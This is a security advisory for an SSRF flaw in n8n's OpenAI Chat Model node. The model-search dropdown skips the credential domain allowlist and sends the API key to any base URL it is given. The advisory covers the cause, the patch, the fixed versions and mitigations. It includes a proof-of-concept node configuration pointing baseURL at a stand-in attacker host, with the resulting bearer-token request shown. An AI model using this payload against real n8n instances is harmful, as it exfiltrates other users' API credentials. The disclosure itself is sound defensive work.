highCVE-2026-86082Sep 10, 2026

CVE-2026-86082: n8n OpenAI Chat Model Node SSRF via Unguarded Model-Search Endpoint

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A gap in n8n's OpenAI Chat Model node lets a workflow editor point the model-search dropdown at any server on the internet, bypassing the credential domain allowlist and leaking the attached API key…

Packagen8n
Ecosystemnpm
Affected< 1.123.76
Fixed in1.123.76
CVE-2026-86082: n8n OpenAI Chat Model Node SSRF via Unguarded Model-Search Endpoint

The problem

n8n lets administrators restrict which domains an openAiApi credential may contact. The main chat call path respected that list, but the model-search dropdown did not.

Any user with workflow-editor access could set options.baseURL to an arbitrary URL. When the node's model-list dropdown loaded, it called searchModels via loadModels.ts using that base URL with no domain check, forwarding the full credential to the attacker's server.

Proof of concept

A working proof-of-concept for CVE-2026-86082 in n8n, with the exact payload below.

json
// Workflow node parameters (JSON, OpenAI Chat Model node)
{
  "parameters": {
    "options": {
      "baseURL": "https://attacker.example.com"
    }
  }
}

// When the model-search dropdown is triggered, n8n issues:
// GET https://attacker.example.com/v1/models
// Authorization: Bearer <openAiApi credential key>
// -- credential is exfiltrated; no domain-allowlist check ran

The root cause is an inconsistent enforcement pattern (CWE-918). The normal inference call path in LmChatOpenAi.node.ts called assertOpenAiCredentialAllowsUrl before building the OpenAI client, but loadModels.ts built its own client from options.baseURL without that guard.

The patch adds the same assertOpenAiCredentialAllowsUrl call to loadModels.ts, routing every OpenAI client instantiation through the shared domain-allow check. Because the model-search path also carries the raw credential, any URL accepted there could receive a full API key.

The fix

Upgrade to n8n 1.123.76, 2.37.7, or 2.38.2. All three releases add assertOpenAiCredentialAllowsUrl to packages/@n8n/nodes-langchain/nodes/llms/LMChatOpenAi/methods/loadModels.ts, closing the gap between the model-search and inference code paths. If an immediate upgrade is not possible, restrict n8n instance access to fully trusted users, audit use-only credential shares, and rotate any openAiApi keys that may have been exposed.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research